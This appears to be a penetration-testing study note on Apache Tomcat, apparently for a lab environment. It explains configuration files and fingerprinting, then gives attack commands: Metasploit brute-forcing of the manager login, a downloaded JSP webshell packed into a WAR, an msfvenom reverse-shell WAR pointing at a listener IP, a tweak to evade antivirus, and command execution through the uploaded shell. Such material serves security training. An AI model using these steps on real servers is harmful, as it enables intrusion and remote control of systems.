Tomcat

101

Apache Tomcat is an open-source Java servlet container that hosts Java-based web applications. It is primarily used internally within organizations rather than as a public-facing web server.

Dir Structure

A typical folder structure of a Tomcat installation:

├── bin # stores scripts and bins needed to start and run Tomcat
├── conf # config files
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml # user creds and roles, IMPORTANT FILE!!!
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib # JAR files needed for proper functioning
├── logs # temp log files
├── temp # temp log files
├── webapps # default webroot, hosts all apps
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work # acts as a cache during runtime
    └── Catalina
        └── localhost

tomcat-users.xml

The tomcat-users.xml file is used to control access to the /manager and /host-manager admin pages:

<?xml version="1.0" encoding="UTF-8"?>
<SNIP>
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->
 <SNIP>

!-- user manager can access only manager section -->
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />

<!-- user admin can access manager and admin section both -->
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

</tomcat-users>

webapps

A typical webapps file structure:

webapps/customapp
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
    ├── jsp # stores Jakarta Server Pages (like PHP files for Apache)
    |   └── admin.jsp
    └── web.xml # deployment descriptor, MOST IMPORTANT FILE!!!
    └── lib
    |    └── jdbc_drivers.jar
    └── classes # stores compiled classes
        └── AdminServlet.class 

web.xml

The web.xml file stores info about the routes used by the app and their classes:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
  <servlet>
    <servlet-name>AdminServlet</servlet-name>
    <servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/admin</url-pattern>
  </servlet-mapping>
</web-app>   

The above configuration defines a new servlet (AdminServlet) that is mapped to the com.inlanefreight.api.AdminServlet class. Java uses the dot notation to create package names, meaning the path on disk for this class would be:

classes/com/inlanefreight/api/AdminServlet.class

Next, a new servlet mapping is created to map requests to /admin with AdminServlet. This configuration will send any request received for /admin to the AdminServlet.class class.

Footprinting

Server Header

Tomcat servers can often be identified by the Server header in HTTP responses. If a reverse proxy is in place, accessing an invalid URL may still reveal Tomcat’s version:

/docs

Another method to detect Tomcat and its version is by visiting the default /docs page, which is usually left accessible unless explicitly removed by administrators:

$ curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat 

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author" 

Attacks

BFA

A Brute Force attack can be performed using MSF's tomcat_mgr_login module:

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show actions
msf auxiliary(tomcat_mgr_login) > set ACTION < action-name >
msf auxiliary(tomcat_mgr_login) > show options
msf auxiliary(tomcat_mgr_login) > run

RCE

A Web Application Archive (WAR) file is a convenient format used to deploy Java web applications on Tomcat quickly and to store backups of those applications. Tomcat’s GUI for managing deployments is located at /manager/html by default and is accessible only to users assigned the manager-gui role. Through this interface, an attacker with access can upload a malicious WAR file to compromise the server.

Manual WAR Generation

A JSP webshell can be packaged into a WAR file by simply zipping the webshell JSP file. Once uploaded via the manager interface, the WAR file is automatically extracted and deployed by Tomcat.

# Download a JSP webshell
$ wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
# Archive the webshell along with the WAR file
$ zip -r backup.war cmd.jsp 

  adding: cmd.jsp (deflated 81%)

A more stealthy version of the JSP web shell can also be used in order to minimize footprint (<1KB) and possibly evade detections for standard JSP web shells. The default web shell gets detected by 2/58 AVs and a simple change drops that number down to 0.

// Default line
FileOutputStream(f);stream.write(m);o="Uploaded:
// Modified line
FileOutputStream(f);stream.write(m);o="uPlOaDeD:

msfvenom

msfvenom can be used to generate a malicious WAR file:

sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

MSF

The tomcat_mgr_upload MSF module can be used to automate the process:

msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > show targets
        ...targets...
msf exploit(tomcat_mgr_upload) > set TARGET < target-id >
msf exploit(tomcat_mgr_upload) > show options
        ...show and set options...
msf exploit(tomcat_mgr_upload) > exploit

Accessing the uploaded shell through its URL (e.g., /backup/cmd.jsp) allows remote command execution on the server.

$ curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

Note that simply browsing to /backup redirects to /backup/ and typically returns a 404 error, so the full path to the JSP shell must be specified.

Cleanup: return to the Tomcat Manager page and Undeploy the application; this removes the uploaded WAR file and its extracted contents, restoring the server’s state.